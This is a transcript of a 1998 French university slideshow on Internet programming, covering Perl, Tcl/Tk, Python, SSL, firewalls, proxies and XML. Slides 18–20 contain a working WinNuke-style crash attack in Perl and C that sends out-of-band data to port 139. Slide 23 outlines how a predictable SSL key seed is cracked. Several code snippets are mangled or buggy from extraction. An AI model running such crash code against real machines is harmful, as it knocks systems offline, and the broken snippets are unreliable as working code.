La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998

Présentations similaires


Présentation au sujet: "1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998"— Transcription de la présentation:

1 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998

2 2 Déroulement du cours Architecture Web de base Architecture Web dynamique Client / Serveur de données Java Architectures distribués Les compléments

3 3 Les approches de PII Modèle Initial –Approche documentaire : HTML/HTTP, Internet Avantage / Inconvénients Modèle Avancé – Approche objets distribués : Java/Corba, Intranet Avantage / Inconvénients

4 4 Les langages de script Langages de script –Interprété –Suivent la Loi de Moore –Objets distribués / Composants –Légers et modulaires –Portés sur de nombreux environnements Client : Script Documentaire –JavaScript, Python, Tcl/Tk –Visuel Serveur : Shell puissants –Perl, Tcl, Tk –Prototypage

5 5 Perl TMTOWTDI : "Tim-Toady" 1 : Simplifier les tâches faciles 2 : Ne pas empêcher les tâches difficiles ==> Larry Wall Linguiste Notion de langue et d'interprétation contextuelle et tardive Nom, Verbe, Singulier et Pluriel

6 6 Perl "Practical Extraction and Report Language" Interprété Modulaire –446 Modules : "use module" Simple / Complexe Efficace Orienté –traitement de chaînes –Accès fichiers –Accès réseau

7 7 Perl : Exemple #!/usr/local/bin/perl print "Content-Type:text/html\n\n "; open (NOTES, "notes") or die "Ouverture impossible : $!\n"; while ($ligne= ) { ($etudiant, $note) = split(/ /, $ligne); chomp($note); $notes{$etudiant}.= $note.' ';} foreach $etudiant (sort keys %notes) { $scores,$note, = split(/ /, $notes{$etudiant}); foreach { $total+=$note; $scores++;} $moyenne = $total/$scores; print " $etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n ";} print " ";

9 9 TCL/Tk Tool Command Langage ==> Shell de programmation ToolKit ==> Widgets de présentation Toute architecture de programmation importante utilise deux classes de langage = un langage compilé, efficace pour l'algorithmie (cobol, c, c++...) = un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application ==> John Ousterhout (Sun)

10 10 TCL #!/usr/local/bin/tclsh8.0 set envvars { SERVER_SOFTWARE SERVER_NAME GATEWAY_INTERFACE SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD PATH_INFO PATH_TRANSLATED SCRIPT_NAME QUERY_STRING REMOTE_HOST REMOTE_ADDR REMOTE_USER AUTH_TYPE CONTENT_TYPE CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER HTTP_USER_AGENT } puts "Content-type: text/html\n" puts " " puts" Message " puts " Environment Variables " foreach var $envvars { if {[info exists env($var)]} { puts " $var $env($var)"}}} if {[string compare $env (REQUEST_METHOD) "POST"]==0 }{ set message [split [read stdin $env(CONTENT_LENGTH)] &] } else { set message [split $env(QUERY_STRING) &] } foreach pair $message { set name [lindex [split $pair =] 0] set val [lindex [split $pair =] 1] puts "$name\t= $val" } puts " "

11 11 Tk u Créer l'interface utilisateur en écrivant les scripts Tcl. u Hello, world: button.hello -text "Hello, world" -command exit pack.hello u Explorateur Windows : 30 lignes u Browser Web : 2000 lignes u 10x moins de code pour des choses simples.

12 12 TCL / Tk 1 Librairie de procédures C pour développeurs L'interpréteur est pilotable en C Tcl_Interp * interp; interp = Tcl_CreateInterp(); int code; code=Tcl_Eval(interp, "set a 1"); code=Tcl_EvalFile(interp, "init.tcl"); Créer une nouvelle commande Tcl int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc != 3) { interp->result = "wrong # args"; return TCL_ERROR; } if (!strcmp(argv[1], argv[2])) interp->result = "1"; else interp->result = "0"; return TCL_OK;} L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL,...);

13 13 TCL / Tk Largement utilisé Le plus puissant Choisi comme langage de script de Java Efficace Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh

14 14 Python Portable, interprété, orienté objet (ABC, C, Modula-3, Icon) Facile à apprendre Script CGI, Administration de systèmes, Prototypage Indépendant de la plateforme : Tk comme bibliothèque graphique, génère du byte-code Multiniveaux : Scripts shell, ou librairies oo Extensible: branchement sur les autres binaires (Microsoft FC, MacOS ToolBox) Imbriquable : Script => HTML, BD, Environnement ==> Just et Guido van Rossum (CNRI : Corporation for National Research Institute)

15 15 Python : exemple #!/usr/local/lib/python import posix import string uid=`posix.getuid()` passwd=open('/etc/passwd') for line in passwd.readline(): rec=string.splitfields(line, ':') if rec[2] == uid: print 'bonjour', rec[0] break else: print 'Non trouve' #!/usr/local/lib/python import time JOUR = 24*3600 class Date: def __init__(self, date): self.date=date def __repr__(self): s=time.ctime(self.date) return s[:11]+s[-4:] def demain(self): return self+1 def hier(self): return self -1 def __add__(self, nbjours): return Date (self.date+nbjours*JOUR) __radd___=__add__ def __sub__(self, autre) if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR) else: return self.__add__(-other) aujourdhui=Date(time.time( )) print aujourdhui.demain( )-ajourdhui.hier( )

16 16 Python modules –chaines, Expression Régulières, posix, sockets, threads, multimédia, cryptographie, STDWIN, Internet/WWW Utilisé pour l'interface utilisateur de Linux RedHat 5 Exemple utilisé pour les tags OBJECT d'HTML 4

17 17 Disponibilité des langages Vitesse de développement => Economie Utiliser les bons outils Marché en expansion Se faire plaisir

18 18 Exemple #!/opt/bin/perl use strict; use Socket; $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) {print "Un nom de machine doit être fournit. Ex: $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "Adresse visée$in_addr addr $addr proto $proto\n"; socket(S, AF_INET, SOCK_STREAM, $proto) || die $!; connect(S,$addr) or die $!; $| = 1; print STDOUT "Nuking: $h:$p\n"; send S,"Au revoir",MSG_OOB; print STDOUT "Nuked!\n"; close S; STDOUT perl -MIO::Socket -e 'IO::Socket::INET-> new(PeerAddr=>"some.windoze.box")-> send("bye",MSG_OOB)'

19 19 Equivalent C #include #define dport 139 int x, s; char *str = "Bye"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he- >h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; }

20 20 Equivalent C Suite void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); }

21 21 Compléments

22 22 Cryptage SSL (HTTPS) Encodage sur une clé unique connue du client et du serveur Le client génère aléatoirement un nombre Puis le transfère de manière cryptée au serveur Celui-ci encode les messages à l'aide de ce nombre ==> mais...

23 23 Crack ! global variable racine; RNG_CreeContexte( ) (secondes, microsecondes) = maintenant:! pid=process ID; ppid= parent process ID; a=mklcpr(microsecondes); b=mklcpr(pid+seconds+(ppid<<12)); racine=MD5(a,b); mklcpr(x) return ((0xDEECE66D * x +0x2BBB62DC) >> 1); MD5() RNG_GenereNombreAleatoire( ) x=MD5(seed); seed=seed+1; return x; global variable debut, clé_secrete; Creer_cle ( ) RNG_CreeContexte( ); tmp= RNG_GenereNombreAleatoire(); debut= RNG_GenereNombreAleatoire(); clé_secrete=RNG_GenereNombreAleatoire();

24 24 FireWall FireWall : Pare-Feu Filtrage des paquets Table de filtrage des ports de connexion –Inbound HTTP –Outbound HTTP –Inbound telnet telnet.interne.com –Sinon interdit Tunneling Protocol Encodage d'une session Reseaux privés virtuels

25 25 Proxy Cache des documents transférés –Cache mémoire sur le client –Cache disque sur le client –Serveur Cache local –Serveurs Cache nationaux Fonctions –Disponibilité, –Maintenabilité –Pre-caching –Baisse de la charge Difficulté :?

26 26 Serveur Proxy proxy.univ-lyon1.fr 3128 function FindProxyForURL(url, host) { if (isPlainHostName(host)) return "DIRECT"; if ( dnsDomainIs( host,"univ-lyon1.fr")|| dnsDomainIs(host,"cpe.fr") || dnsDomainIs(host,"enssib.fr") || dnsDomainIs(host,"cermep.fr") || dnsDomainIs(host,"dr7.cnrs.fr") || dnsDomainIs(host,"www.dsi.cnrs.fr") || dnsDomainIs(host,"insa-lyon.fr")) return "DIRECT"; if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:") return "PROXY proxy.univ-lyon1.fr:3128; DIRECT"; if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001"; else return "DIRECT"; }

27 27 Push Anticiper la demande de l'utilisateur => Lui fournir l'information avant qu'il ne la cherche => Retourner le modèle du Web => L'utilisateur négocie une politique de push => Notion de canaux de diffusion

28 28 Push Approche diffusion Commerciale –Diffusion de canaux d'information BackWeb : Personnalisation et Segmentation, infopacks Pointcast (1996) : Pionnier, émetteur unique ! Approche diffusion Logiciel –Marimba : Société (JavaFund) –Castanet : Emetteur, Tuner, Proxy, GateWay => Technologies PUSH : Bonnet, Macary, Eyrolles Informatiques

29 29 Faiblesses de HTML Pas de gestion des hyperliens Pas de contrôle de la syntaxe Pas d'extensibilité possible Pas de structures Pas de distinction sur (forme/fond) Pas de support d'internationalisation Pas de support pour l'échange de données Pas de réutilisation Contenu dynamique Orientation Objet

30 30 Langage de documents DHTML Scripts + Feuilles de styles (JavaScript+CSS) Approche OO d'un document –Fondé sur le DOM (Document Object Model) du W3C –Programmation plus souple Incompatibilité Microsoft/Netscape => HTML++

31 31 Meta-Langage de document XML eXtensible Markup Langage Représenter n'importe quel document avec des tags logiques Langage de programmation DSSSL –Lisp (Scheme) Documents Bien Formés DTD du document ==> SGML -- ==> Jim Clark : SP Parser, Jade...

32 32 Architectures

33 33 Evolution du Web

34 34 Anneaux de diffussion Interconnexion de sites Web Mettre en commun des utilisateurs sur un sujet Définir des sous-réseau logiques d'information Site central qui diffuse les entêtes des documents Diffusion aux abonnés d'un cgi à insérer dans les documents ==> PilotGear


Télécharger ppt "1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998"

Présentations similaires


Annonces Google